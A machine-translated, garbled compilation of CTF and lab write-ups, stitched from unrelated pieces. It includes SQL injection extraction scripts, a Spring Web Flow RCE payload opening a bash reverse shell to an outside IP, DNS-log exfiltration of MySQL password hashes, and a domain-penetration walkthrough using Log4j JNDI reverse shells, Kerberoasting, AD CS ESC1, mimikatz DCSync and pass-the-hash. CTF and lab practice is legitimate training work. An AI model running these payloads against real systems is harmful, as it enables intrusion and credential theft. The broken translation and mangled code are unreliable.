encoded_flag1は、flag1およびkeyの排他的または操作に基づいて取得されます。 XOR操作の性質に応じて、flag1はEncoded_flag1およびkeyをエクサージすることで復元できます。

次に、flag1を検索すると、トラフィックにread flag1.txtファイルの内容を見つけることができます。

用Charles读取flag1.txt

これから、flag1を復元できます。

flag1='788C3A1289CBE5383466F9184B07EDAC6A6B3B37F78E0F7CE79BECE502D63091EF5B708887BC44'

flag1=binascii.unhexlify(flag1)

print( ''。join([chr(flag1 [i] ^ key [i])for i in range(len(flag1))])))

flag2の場合、検索後、jupyterワークスペースに2935226バイトのサイズの7zipファイルがあり、その内容が完全にダンプできることがわかりました。ただし、この圧縮ファイルにはパスワードがあり、引き続きマイニングし続ける必要があります。現時点では、チャールズによって指定されたHTTPトラフィックデータは、より有用な情報を抽出できなくなり、代わりにWiresharkを使用できました。案の定、JupyterノートブックのWebSocketプロトコルデータフレームはWiresharkで見つかりました。

Wireshark发现命令行操作

これらのWebSocket DataFrames Record Command-Line操作を完全に記録します。最初にSTEGO-LSBをPIPでインストールし、次にflag2.txtをKi-ringtrain.wavに書き、最後に7ZAで圧縮されたWAVを書きました。パスワードは圧縮中に設定され、そのコマンドラインパラメーターは

-p'wakarimasu! `date` `uname -nom`` nproc` '

7ZAの出力は、CPUモデルがI7-10510Uであることを示しています。これは4C8T Uであるため、NPROC出力は8です。 } uname -oは明らかにgnu/linuxであり、uname -mはx86_64です。 uname -nはホスト名であり、you-kali-vmはコマンドプロンプトのエコーを介して取得されます。

命令提示符中的you-kali-vm

日付の出力については、ホストのタイムゾーンと言語がまだ決定されていないため、いくつかの推測が必要です。また、日付自体には、たとえばいくつかのスタイルの出力もあります

11月6日07:44:16 CST 2021

2021年11月6日07:4:16 AM GMT

最初のデータフレームに対してコマンドが実行される時間のオフセットは、2021年11月6日15:44:16頃に時間が推定されるということです。もちろん、エラーがあり、実際にパスワードをテストしたときにすべてを試しました。幸いなことに、正しいパスワードは手動で試されました。そうしないと、異なるタイムゾーンと言語を通過するためのスクリプトを記述する必要があります。

ワカリマス! 2021年11月6日03:4:15 PM CST YOU-KALI-VM X86_64 GNU/Linux 8

WAVファイルを減圧し、stegolsbを使用して、encoded_flag2であるステガノグラフィー情報を抽出します。

PIP3インストールSTEGO-LSB

stegolsb wavsteg -r -i flag2.wav -o flag2.txt -bytes 76 -n 1

前の記事で述べたのと同じ方法を使用して、flag2を復元します。

Leafの新しい曲

最初にFFProbeを使用してMP3ファイルのメタ情報を表示し、2つの重要なヒントを取得します。

アルバムカバーのアルバム:シークレット!

TrackTotal : AHR0CDOVL2XHYI5TYXH4C29MDC5UZXQVY3RML2XLZ2FJES50NOY

これらは2つのブランチで、次のテキストで個別に説明されています。

夢の時間と空間を月てて

Binwalkを使用して、アルバムカバーがPNG画像であることを確認してください。

Album Cover

この写真は非常に普通に見えます。まず第一に、画像サイズに問題があると推測したため、PNGヘッダーでCRC32検証を実行しましたが、例外はありませんでした。その後、ステガノグラフィー技術が使用され、ステグソルブが使用されると疑われます。 LSBを使用して、3つのRGBチャネルの最低ビットを抽出し、バイナリデコード後に3つの大きな単語「PNG」が表示されます。それは、アイデアが正しいことを意味し、写真を抽出します。

LSB隐写的二维码

これはQRコードですが、一般的なQRコードではありません。 Google画像に投げ入れて、Aztecと呼ばれるものを見つけます。携帯電話でスキャンコードソフトウェアScanditをダウンロードして、コンテンツgur frperg va uvfgbtenzを取得します。 Caesarのパスワードのように見えたので、オンラインツールを見つけて、ヒストグラムで秘密を取得するためにそれを解読しました。

このAZTECコードのグレースケール分布は正しくないように見えますが、Photoshopのヒストグラムはあまり拡大されていないため、Pythonスクリプトを使用してヒストグラムを出力します。

PILインポート画像から

npとしてnumpyをインポートします

im=image.open( 'aztec.png')

cluster=np.zeros(shape=(256))

範囲(1000):のIの場合

範囲(1000):のJの場合

クラスター[im.getpixel((i、j))] +=1

img=image.new(mode='rgb'、size=(256 + 40、50 + 10)、color=(255、255、255))

pixels=img.load()

範囲(len(cluster)):の場合

クラスター[i] 0:の場合

範囲(50):のJの場合

ピクセル[i + 20、j + 5]=(0、0、0)

img.save( 'histogram.png')

ヒストグラムを次の図に示します。

二维码图片的直方图

このヒストグラムは、どのように見てもバーコードです。 XMCP.ltd/kcwbaを取得するには、コードをスキャンし続けます。訪問した後、私はたくさんのウクスを手に入れました。これは頭脳の方言であり、OOKの実行後です!プログラミング言語- 難解なコードデコーダー、エンコーダー、翻訳者、私はフラグを取得します

flag {y0u_h4ve_f0rgott3n_7oo_much}。

StegsolveのUIにはMacOSに問題があり、ZSTEGやStegonlineなどの他のプログラムに置き換えることができます。

夢と現在の領域

別のブランチ、AHR0CDOVL2XHYI5TYXH4C29MDC5UZXQVY3RML2XLZ2FJES50NOYBASE64は3358LAB.MAXXSOFT.NET/CTF/LEGACY.TBZ2を取得してデコードしました。 to_the_past.imgを入手するには、ダウンロードして解凍します。 Disk ImageをmacOSに直接マウントして、memory.zipとnote.txtを取得します。 note.txtの迅速なパスワードは次のとおりです。BinYulingは、Rongzheの芸術の意味です。 Bin Geng Yi Huai ZheはLingzheの意味です。検索後、これがRMBクラウンのパスワードであることがわかり、デコードは72364209117514983984を解読することで取得されます。最初にBinwalkを使用しますが、有用な情報は見つかりませんでした。プロンプトには「赤と白の機械」と「異なる神々を見つける」があるので、Vbindiffを使用して比較します。さまざまなものを見つけることができますが、最長の一般的なサブストリングを使用して、ビットワイズ比較の代わりに比較する必要があります。私はここで怠け者で、比較的単純なスクリプトを書き、エッジケースを少し処理しましたが、いくつかの極端な入力のバグがあります。

f:として開いている( 'left.bin'、 'rb')

lbuf=f.read()

f:として開いている( 'ride.bin'、 'rb')

rbuf=f.read()

lpointer=0

rpointer=0

common=[]

lonly=[]

Ronly=[]

allonly=[]

lpointe

ウェブ

1.Middle_magic

%0a最初のレベルをバイパスし、##に%23を追加します#

アレイは2番目のレベルをバイパスします

JSON弱いタイプの比較

http://182.116.62.85:20253/?AAA=%0APASS_THE_LEVEL_1%23POST:admin []=1Root_pwd []=2Level_3={'result':0} flag {f03d41BF6C8D55F12324FD57A

2.EASY_SQL_2

ログイン機能、パスパスのユーザー名とパスワード。管理者、管理下のパスワードログインを正常に試してみてください。しかし、プロンプトフラグはここにありません。ユーザー名は-1 '||' 1 '%23を試し、パスワードエラーであることがわかりました。したがって、バックエンドは、着信ユーザー名に基づいて対応するパスワードを見つける必要があると推測されました。それをチェックした後、それはもはやユーザー名エラーではありませんでした、そして、その後、受信パスワードはMD5後のこのパスワードと比較され、同じログインが成功しました。 SQLインジェクションを試してみてくださいが、禁止が選択されているので、テーブルインジェクションを使用してください。データベース名は簡単に注入できます。また、regexpを使用せずにテーブルを使用せずにCTFであることを通知してから、テーブル名を呼び出すこともできます。テーブルはろ過されていますが、列はろ過されていません。 Information_schema.columnを使用して、盲目的にテーブル名を発行できます:mysql8.0、tableステートメント:

mysql.innodb_table_statsを使用したフィルタリングinformation_schema.table

admin '/**/and/**/((' ctf '、'%s '、3,4,5,6)=/**/(table/**/mysql.innodb_table_stats/**/limit/**/2,1)#フラグテーブルFL11aagに注意してください

ヘキサデシマルのメモ:

Stringimport requestsimport timereq=requests.session()url='http://182.116.62.85:26571/login.php'def hh():ペイロード='admin'/**/and/**/(ascii(subst((table/**/fl11aag/limit/**/1,1))、%s、1))=%s# 'chars=strint.printable.replace('。 '、' ') '_ \ {}' result='' for i in range(1,100): in j in range(48,125): data={'username':payload%(i、j)、' password':'admin '} req=rep.text if' success print(j)result +=chr(j)#print((chr(j))、end='')#payload%(chr(j-1) +'%s')print(result)breakhh()またはcoding:utf-8-* - * - requestsdef bind_sql()3360 flag='' dic='dic=' dic '〜} | {zyxwvutsrqponmlkjihgfedcba` _^] \ [zyxwvutsrqponmlkjihgfedcba@?=;9876543210/- 、+*)(%$#! flag + j#payload='11' ||( 'ctf'、binary '{}'、1,2,3,4)(table/**/mysql.innodb_table_stats/**/limit/**/1,1) '11'||(binary'{}')(table/**/ctf.fl11aag/**/limit/**/1,1)#'.format(_) print(payload) data={ 'username': payload, 'password': 'admin' } res=requests.post(url=url, data=data) if 'success' in res.text: if j=='〜' : flag=flag [:-1] +chr(ord(flag [-1]) +1)print(flag)exit()flag +=j break(flag)break(flag)flag==f: break return flagif __name__=='__main __' : url=url='http://182.116.62.85336026571/login.php' result=bind_sql()print(result)

3。 Easy_sql_1

gopher hitインデックス、管理者/管理者を試して、Cookieを見つけました。それをデコードした後、それは管理者でした。単一の引用にエラーがあったことをテストし、注入されました。 Inject admin ')およびupdateXml(1、concat(0x7e、(selectsubstr((selectflagfromflag)、1,40))、1)#

経験:

Gopher: //127.0.0.1336080/_Post%20/index.php%20http/1.1%0d%0ahost%3a%20127.0.0.1% Kie%3a%20this_is_your_cookie%3dywrtaw4nksbhbhbmqgdxbkyxrleg1skdesy29uy2f0kdb4 n2uskhnlbgvjdcbzdwjzdhiokhnlbgvjdcbmbgfnigzyb20gzmxhzyksmsw0mckpkswxksm%3d% 0D%0ACONTENT-LENGNG%3A%2024%0D%0A%0D%0AUNAME%3DADMIN%26PASSWD%3DADMIN%0D%0A古いログインインターフェイス、それは内側ではないと言って、F12を見てください。 cookie:this_is_your_cookie=ywrtaw4=、Cookieを持ち上げて、いくつかの試みの後に投稿のエコーがないことを発見します。Cookieを注入し、Admin'Base64を暗号化してください。 QUOTEDATA='' 'POST/HTTP/1.1HOST: 127.0.0.1:80CONTENT-TYPE:アプリケーション/X-WWW-FORM-URLENCODEDCOOKIE: this_is_your_cookie=ltenkx8dxbkyxrleg1skdesy29uy2f0kdeskhnlbgvjdcbncm91cf9jb25jyxqozm xhzykgznjvbsbmbgfnkswxkswxksm=; phpsessid=susn9dj4f1806v0pl5oiureek1; content-length: {} {} '' '' payload='uname=adminpasswd=admin'length=len(payload)data=data.format(length、payload)data=quote(data、' utf-8 ')url=' 3358182.116.6.62.853:28303/use.php'params={ 'url':'gopher: //127.0.0.1:80/_'+data} headers={'cookie':'phpsessid=8ek3l5l5vvestgbtttu3'} r=requestss.get(url、params=headers=headers))

4。スプリング

タイトルはCVE-2017-4971-spring webフローリモートコード実行脆弱性です

Xman Original Title:

https://www.xctf.org.cn/library/details/8ad0f5b6ac740ec0930e948a40f34a67b3d4f565/

ログインページを入力した後、指定されたアカウントに記入してログインします

1049983-20211222172610203-1304977782.jpg

次に、http://IP/HOTELS/1ページにアクセスして、[ホテルのホテル]をクリックします

1049983-20211222172610699-1834957056.jpg

次に、情報をさりげなく入力し、[進行]ボタンをクリックして確認ページにジャンプします

1049983-20211222172611257-788518227.jpg

[確認]をクリックしてパケットをキャッチし、ペイロードを入力してリスニングを開始します。

1049983-20211222172611684-148155505.jpg

_EVENTID_CONFIRM=_CSRF=BCC5CE94-5277-4064-B5F7-850432E3D2F0_(new+java.lang.processbu Ilder( 'bash'、 '-c'、 'bash+-i+%26+/dev/tcp/121.40.134.251/10086+0%261'))。start()=valhub

1049983-20211222172612180-248938809.jpg

次に、サーバーが接続するのを待つためにパケットを送信します

1049983-20211222172612683-1755738677.jpg

getShellに成功し、ルートディレクトリでflag.txtファイルを見つけて、フラグを参照してください

flag:xman {ughoixoedae6zeethaxoh1eex3xeij7y}

5. easypy

?phpinclude 'utils.php'; if(isset($ _ post ['buess'])){$ yesuns=(string)$ _post ['buess']; if($ buess===$ secret){$ message='おめでとう!フラグは: 'です。 $ flag; } else {$ message='間違っています。もう一度やり直してください'; }} if(preg_match( '/utils \ .php \/*$/i'、$ _server ['php_self'])){exit( 'hacker :)');} if(preg_match( '/show_source/'、$ _server ['request_uri'] :) ');} if(isset($ _ get [' show_source ']))){highlight_file(basename($ _ server [' php_self '])); exit();} else {show_source(__ file__);}?元のタイトルは変更されています。参照接続:https://www.gem-love.com/ctf/1898.html

直接電話:http://182.116.62.85336021895/index.php/utils.php/%81?show [source

または/index.php/utils.php/%ff/?show [Source

1.designeachStep

1049983-20211222172613234-561347357.jpgfigure1: functionmain(){java.perform(function(){varbytestring=java.use( 'com.android.okhttp.okio.bytestring'); java.use( 'java.util.arrays')=function(x、y){console.log( 'start .'); varresult=this。1049983-20211222172613682-1601679703.jpgFigure2: Get Flag:Flag {DE5_C0MPR355_M@Y_C0NFU53}

2.Areyourich

最終バランスに応じて、49999999を超えている必要があります。1049983-20211222172614134-1987544984.jpgFIGURE31049983-20211222172614553-599983848.jpgFIGURE4:ログインと購入フラグ1049983-20211222172614980-222289484.jpgフラグ:フラグ{Y0U_H@v3 _@_ 107_0F_M0N3Y !}0xff。 s=[0x1e、0,7,0xce、0xf9,0x8c、0x88,0xa8,0x52,0x99,0x19,0x15,0x66,0x2e、0 Xaf、0xf6,0x43,0x2c、0xc9,0xca、0x66,0xaa、0x4c、0,0xd6,0xff、0x44,0x BD、0x72,0x65,8,0x85,0x12,0x7f、0x13,0x24,0xfc、0x24,0x33,0x23,0x97,0xb 2] s1=[0x78,108,0x66,0xa9,0x82,0xb5,0xbe、0xcb、0x64,0xa0,0x2f、0x21,0x50 、3,0x97,0xc7,0x7b、0x18,0xe4,0xfe、0x55,0x9c、0x7f、0x2d、0x1d、0xb2,0x9a、0x7d、0x90,0x45,0x56,0x6e、0xb2,0x21,0x46,0x2b、0x14,0xca、0x12,0x50,0x1 2,0xea、0xb2] print(len(s))flag='' foriinrange(len(s)):flag+=chr(s [i]^s1 [i])print(flag)または一般的に、この種の質問が1つずつチェックされるので、この種の質問を好みます。メインテキストに戻る:IDAロードファイル:1049983-20211222172615536-614988355.jpgプログラムは「%36S」と言って実行を開始しますが、実際には42ビット、嘘つきを入力する必要があります。開始して、機能の束を見ると、それぞれが似ているように見えることがわかり、フラグがビットごとに検証され、フラグが関数に対応するかどうかを推測します。デバッグや他のものはまだかなり疲れています(フラグがまったくチェックされている方法がわからないことはわかりません)。怠zyになるために、ここでユニコーンを直接使用し、printfとscanfが開始関数で呼び出される場所にパッチを当て、次にscanfをフックしてフラグをメモリに入力できるようにします。

これにより、プログラムの入力および検証関数を実行できます。以下は、このプログラムのために書いたUNIDBGクラスです。Unicorn.x86_constインポートから *capstoneインポートから *Import *Import binasciipetition_base=0x0 b '\ x01'、b '\ x02'、b '\ x03'、b '\ x04'、b '\ x05'、b '\ x06'、b '\ x07'、b '\ x08'、b '\ x09'、b '\ x0a b '\ x0e'、b '\ x0f'、b '\ x10'、b '\ x11'、b '\ x12'、b '\ x13'、b '\ x14'、b '\ x15'、b '\ x16'、b '\ x17'、b b '\ x1b'、b '\ x1c'、b '\ x1d'、b '\ x1e'、b '\ x1f'、b '\ x20'、b '\ x21'、b '\ x22'、b '\ x23'、b '\ x24'、b '\ x25'、b '\ x27'、b '\ x27 b '\ x28'、b '\ x29'、b '\ x2a'、b '\ x2b'、b '\ x2c'、b '\ x2d'、b '\ x2e'、b '\ x2f'、b '\ x30'、b '\ x31 b '\ x35'、b '\ x36'、b '\ x37'、b '\ x38'、b '\ x39'、b '\ x3a'、b '\ x3b'、b '\ x3c'、B '\ x3d'、b '\ x3e b '\ x42'、b '\ x43'、b '\ x44'、b '\ x45'、b '\ x46'、b '\ x47'、b '\ x48'、b '\ x49'、b '\ x4a'、b '\ x4b'、b '\ x4c'、b '\ x4d'、 b '\ x4f'、b '\ x50'、b '\ x51'、b '\ x52'、b '\ x53'、b '\ x54'、b '\ x55'、b '\ x56 b '\ x5c'、b '\ x5d'、b '\ x5e'、b '\ x5e'、b '\ x5f'、b '\ x60'、b '\ x61'、b '\ x62'、b '\ x63'、b '\ x64'、

0x00インジェクションの定義遅延

遅延注射は盲検注射方法です。実行時間の関数SQLステートメントを送信し、実行時間の長さによって実行が成功するかどうかを判断します。たとえば、が正しい場合、それは長い時間を引き起こし、間違っている場合、それは短い実行時間を引き起こします。これはいわゆる高度な盲目の注射です。 SQLMAP、パンゴリン、ニンジンなどの主流の注入ツールは検出されず、手動でのみ検出でき、結果はスクリプトプログラムを使用して取得されます。

0x01注入関数の遅延

Sleep()//遅延機能

if(条件、true、false)

//条件文

ascii()

//ASCIIコードに変換します

サブストリング( 'strant'、strart、length)

//同じことがmid()に当てはまり、文字列の開始ビットと文字の長さを取り出します

if expression:if(expr1、expr2、expr3)

expr1が真である場合

(expr1 0およびexpr1 null)、if()の戻り値はexpr2です。それ以外の場合、返品値はexpr3です

ミッド関数:MID(column_name、start [、length])

column_name

必須。キャラクターを抽出するフィールド。

始める

必須。開始位置を指定します(開始値は1)。

長さ

オプション。返す文字の数。省略した場合、Mid()関数は残りのテキストを返します。

遅延インジェクションの原則は、爆発する情報のASCIIコードが正しい場合、遅延が発生し、それ以外の場合は遅延がないということです。

0x02実際の列の注入の遅延

1。時間遅延噴射コード

が含まれています

yanchi.php:

?php

ヘッダー( 'Content-Type:Text/html; charset=utf8');

$ link=mysql_connect( 'localhost'、 'root'、 'root');

mysql_select_db( 'mysql'、$ link);

mysql_set_charset( 'utf8');

$ sql='ユーザーからユーザーを選択します。ユーザー=' {$ _ get ['username']} '';

echo $ sql;

$ query=mysql_query($ sql);

エコー 'これは時間のブロードです';

2手動検査遅延インジェクション

http://10.0.0.21/yanci.php?username=root 'および睡眠(5)%23

または

http://10.0.0.21/yanci.php?username=root 'およびsleep(5)および' xrsl '=' xrsl#

または

http://10.0.0.21/yanci.php?username=root 'およびif(ascii(subst(database()、1,1))=114,1、sleep(5))#

注入がある場合、遅延時間が長くなります。

g4ngouwz2zj8690.jpg

3。 Pythonスクリプトを実行します(ユーザー名はこちらで実行されます)

#!/usr/bin/env python

# - * - coding: utf-8-* -

urllib2をインポートします

インポート時間

ソケットをインポートします

スレッドをインポートします

リクエストをインポートします

クラスmy_threading(threading.thread):

def __init __(self、str、x):

threading.thread .__ init __(self)

self.str=str

self.x=x

def run(self):

グローバル解像度

x=self.x

j=self.str

url='http://10.0.0.21/yanci.php?username=root' + + + + + fid ext' + fid%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29、 ' + sr(x) +') '、1%29%29、睡眠%282%29,0%29%23'

html=request(url)

verify='timeout'

html:にない場合

res [str(j)]=0

#print 1

else:

res [str(j)]=1

def request(url):

user_agent={'user-agent' : 'mozilla/5.0(macintosh; intel mac os x 10_7_3)applewebkit/534.55.3(khtml、geckoのような)バージョン/5.1.3サファリ/534.53.10'}

req=urllib2.request(url、none、user_agent)

try:

request=urllib2.urlopen(req、timeout=2)

例外を除き、E:

time.sleep(2)

「タイムアウト」を返す

return request.read()

def curl(url):

try:

start=time.clock()

requests.get(url)

end=time.clock()

return int(end)

requests.requestexception as e:を除く

u'erroryを印刷!」

出口()

def getLength():

i=0

true:

印刷'[+]チェック:%s \ r'%i

url='http://10.0.0.21/yanci.php?username=root'++sleep(if(length( olengtom (select%20user()))(Select%20User()

html=request(url)

verify='timeout'

html:で確認する場合

印刷'[+]長さ:%s'%i

私を返します

i=i + 1

def bin2dec(string_num):

return int(string_num、2)

def getdata(datalength):

グローバル解像度

データ=''

範囲のx(datalength):

x=x + 1

#print x

スレッド=[]

範囲(8):のJの場合

結果=''

j=j + 1

sb=my_threading(j、x)

sb.setdaemon(true)

threads.append(sb)

#print j

Threads:のtの場合

t.start()

Threads:のtの場合

T.Join()

#print res

TMP=''

範囲(8):のIの場合

tmp=tmp + str(res [str(i + 1)])

#print chr(bin2dec(tmp))

res={}

result=chr(bin2dec(tmp))

印刷結果

data=data + result

sb=none

印刷'[+] ok!'

print '[ +] result:' +データ

__name__=='__main __' :の場合

stop=false

res={}

length=getLength()

getData(長さ)

2.jpg

4。遅延インジェクションのsqlmap sqlmap.py -r q1.txt - dbms=mysql - -time -sec=5

5。 DNSログロギング

を介してブラインドを注入します

(1)ユーザー名ルートのパスワードを取得します

http://10.0.0.21/yanci.php?username=root 'およびif(select load_file(concat(' \\\\ '、(select concat(user、' _ '、mid(password、2,41))user user=' root 'lime 1)、'。

(2)DNSログレコードは:です。ここでは、http://CEYEE.IOのDNSレコードを使用して注入します。

kzj2p5b4v3f8692.jpg

pogloav51ai8693.jpg

(3)ユーザー名ルートパスワードの16進数を取得する

http://10.0.0.21/yanci.php?username=root 'and if((select load_file(' \\\\ '、(select hex(user()))、'。89mxv7.ceye.io\\ foobar '))、1,1)#)#)

DNSレコードは次のとおりです。

gbbx0035mgx8694.jpg

(4)Xiaokuiツールのクエリを取得します。

ll5xzrqsccd8695.jpg

命令

認定は、中程度の難易度を持つ射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

SOLR、AD CS、SMB、Kerberos、ドメイン浸透

最初のフラグ

log4j rce

外部ネットワークIPをスキャンします

1049983-20230307110517262-27201457.png solrにはlog4jコンポーネントがあることを発見しました。

1049983-20230307110518011-2082945395.pngget /Solr/admin/cores?action=$ {jndi:ldap://1p9bvr.dnslog.cn} http/1.1

HOST: 47.92.113.194:8983

Accept: Application/Json、Text/Plain、 */*

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/106.0.0.0 safari/537.36

X-Requested With: xmlhttprequest

Referer: http://47.92.113.194:8983/solr/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection:閉鎖1049983-20230307110518750-1249723470.pngDNSLOGエコー

1049983-20230307110519454-847276684.pngJNDIリバウンドシェル、VPSで開きます

#悪意のあるクラスの読み込み

Java -jar Jndiexploit -1.3 -snapshot.jar -i 47.103.xx.xxx

#enable監視

NC -LVVP 5555 1049983-20230307110520161-1238749396.pngPAYLOAD

$ {jndi:ldap3360 //47.103.xxx.xxx:1389/basic/reverseshell/47.103.xxx.xxx/5555}リクエストを送信します

/solr/admin/cores?action=$ {jndi:ldap3360//47.103.xxx.xxx:1389/basic/reverseshell/47.103.xxx.xxx/5555} http/1.1

HOST: 47.92.113.194:8983

Accept: Application/Json、Text/Plain、 */*

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/106.0.0.0 safari/537.36

X-Requested With: xmlhttprequest

Referer: http://47.92.113.194:8983/solr/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection: Closeはシェルを正常にリバウンドします

1049983-20230307110520957-1838953280.pngsudoの権利のエスカレーション

Sudo -l 1049983-20230307110521790-296300015.pngSudo Grc - Help 1049983-20230307110522600-1875494381.pngSudo Grc-Pty Whoami 1049983-20230307110523204-310705807.png FIND FLAG

sudo grc -pty find/-nameフラグ* 1049983-20230307110523944-186127248.png出力フラグ

sudo grc -pty cat /root/flag/flag01.txt 1049983-20230307110524763-1879119967.png

2番目のフラグ

イントラネット浸透

エージェントのエージェントとイントラネットをスキャンします。詳細は説明しません(HTTPサービスのセットアップ、NPCとFSCANのダウンロード)

172.22.9.13:445オープン

172.22.9.26:445オープン

172.22.9.47:445オープン

172.22.9.73360445オープン

172.22.9.26:139オープン

172.22.9.47:139オープン

172.22.9.7:139オープン

172.22.9.26:135オープン

172.22.9.13:139オープン

172.22.9.13:135オープン

172.22.9.7:135オープン

172.22.9.26:80オープン

172.22.9.47:80オープン

172.22.9.19:80オープン

172.22.9.47:22オープン

172.22.9.47:21オープン

172.22.9.19:22オープン

172.22.9.7:88オープン

172.22.9.19:8983オープン

[+] NetInfo:

[*] 172.22.9.13

[ - ] CA01

[ - ] 172.22.9.13

[*] 172.22.9.7 [+] DC Xiaorang \ Xiaorang-DC

[*] 172.22.9.26 Xiaorang \ desktop-cbktvmo

[+] NetInfo:

[*] 172.22.9.26

[ - ] desktop-cbktvmo

[ - ] 172.22.9.26

[+] NetInfo:

[*] 172.22.9.7

[ - ] Xiaorang-DC

[ - ] 172.22.9.7

[*] 172.22.9.13 Xiaorang \ Ca01

[*] webtitle:3http://172.22.9.47 code:200 len:10918 title:apache2 ubuntuデフォルトページ:

[*] webtitle:3333333333333:200 len:612 title:welcome nginx!

[*] 172.22.9.47 WorkGroup \ Fileserver Windows 6.1

[*] 172.22.9.47(Windows 6.1)

[*] webtitle:333333333333333333333333:8983 code:3022 len3:0 title:noneジャンプURL: http://172.22.9.99:8983/SOLR/

[*] webtitle:33333333333333:26 code:200 len:703 title:iis windowsサーバー

[*] webtitle:3333333333333333333333333333333333:8983/solr/code:200 len:16555 title:solr adminは、以下の資産を発見しました

172.22.9.19入学IP

172.22.9.7 DC

172.22.9.26ドメインメンバー

172.22.9.47ファイルサーバー

172.22.9.13 CAプロンプトによれば、ファイルサーバーには情報をさらに収集するためにSMB共有が必要です

注:FSCANはSMBの共有モードをスキャンしないため、NMAPを使用してスキャンできます

sudo grc -pty nmap -st -a 172.22.9.47 1049983-20230307110525634-224058230.pngを使用して共有に接続する

proxychains smbclient \\\\ 172.22.9.47 \\ fileshare

監督

人事を取得します。DB

secret \ flag02.txt 1049983-20230307110526730-874103981.png Get Falg02を取得すると、SMBが列挙されている別のプロンプトがあります。しかし、あなたはSPNが何であるか知っていますか?

1049983-20230307110527663-561253035.png

3番目のフラグ

データベースファイルにはいくつかのユーザー名とパスワードがあります

1049983-20230307110528608-1922222552.pngRDPクラック

プロキシチェーンHydra -l user.txt -p pwd.txt 172.22.9.26 RDP -VV -E NS 1049983-20230307110529424-1574261648.png

kerberost攻撃

getUserSpns.pyを使用して、ドメインユーザーの下に登録されているSPNを見つける

Proxychains python3 getuserspns.py -request -dc -ip 172.22.9.7 xiaorang.lab/zhangjian 1049983-20230307110530267-940825500.pnghashオフラインクラッキング、非常に速く、1.txtはハッシュ値です。

hashcat64.exe -m 13100 1.txt rockyou.txt 1049983-20230307110531096-261013704.png get zhangxia/mypass2 @@ 6、アカウントパスワードを使用してリモートでログインします

ドメインアカウントであるため、ユーザー名はzhangxia@xiaorang.labであることに注意してください。ログインした後、管理者の許可ではないため、管理者ディレクトリに直接アクセスしてフラグを見つけることはできません。

1049983-20230307110531761-1694751780.png

ADCS ESC1

certify.exeを使用して脆弱性を見つけます

certify.exe検索/脆弱な1049983-20230307110532827-710567663.pngESC1利用前提条件:

mspki-certificates-name-flag: enrollee_supplies_subject

この証明書テンプレートに基づいて新しい証明書を申請したユーザーが、他のユーザー、つまりドメイン管理者ユーザーを含むユーザーに証明書を申請できることを示します。

pkiextendedkeyusage:クライアント認証

この証明書テンプレートに基づいて生成された証明書を使用して、Active Directoryでコンピューターを認証できることを示します

登録権: NT Authority \認証ユーザー

Active Directoryの認証されたユーザーが、この証明書テンプレートに基づいて生成された新しい証明書を要求できることを示します

ドメイン管理の証明書を申請します

certify.exe request /ca:ca01.xiaorang.lab\xiaorang-ca01-ca /template:'xr manager ' /altname:xiaorang.lab\administrator 1049983-20230307110533809-973528015.png

フォーマットを変換します

OpenSSL PKCS12 -in CERT.PEM -KEYEX -CSP 'Microsoft Enhanced Cryptographic Provider V1.0' -Export -out Cert.PFXリクエストTGT、PTT

証明書をエクスポートして変換するときに入力されたパスワードがないため、ここにパスワードを空白のままにしておくだけです

rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password: /ptt 1049983-20230307110535013-1306229124.pngドメインマネージャーからチケットを取得した後、ハッシュをエクスポートします

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator'出口1049983-20230307110535889-669844448.png

ハッシュパス

PTH 172.22.9.26

プロキシチャインCrackmapexec SMB 172.22.9.26 -U Administrator -H2F1B57EEFB2D152196836B05166666666660 -D Xiaorang.lab -X 'タイプユーザー\管理者\ flag \ flag03.txt'

ProxyChains Python3 wmiexec.py -Hashes 00000000000000000000000000000000000000000000000000000:2F1B57EEFB2D152196836B0516ABEA80管理者@172.22.9.71049983-20230307110538028-1871985575.png元リンク: https://zhuanlan.zhihu.com/p/581487685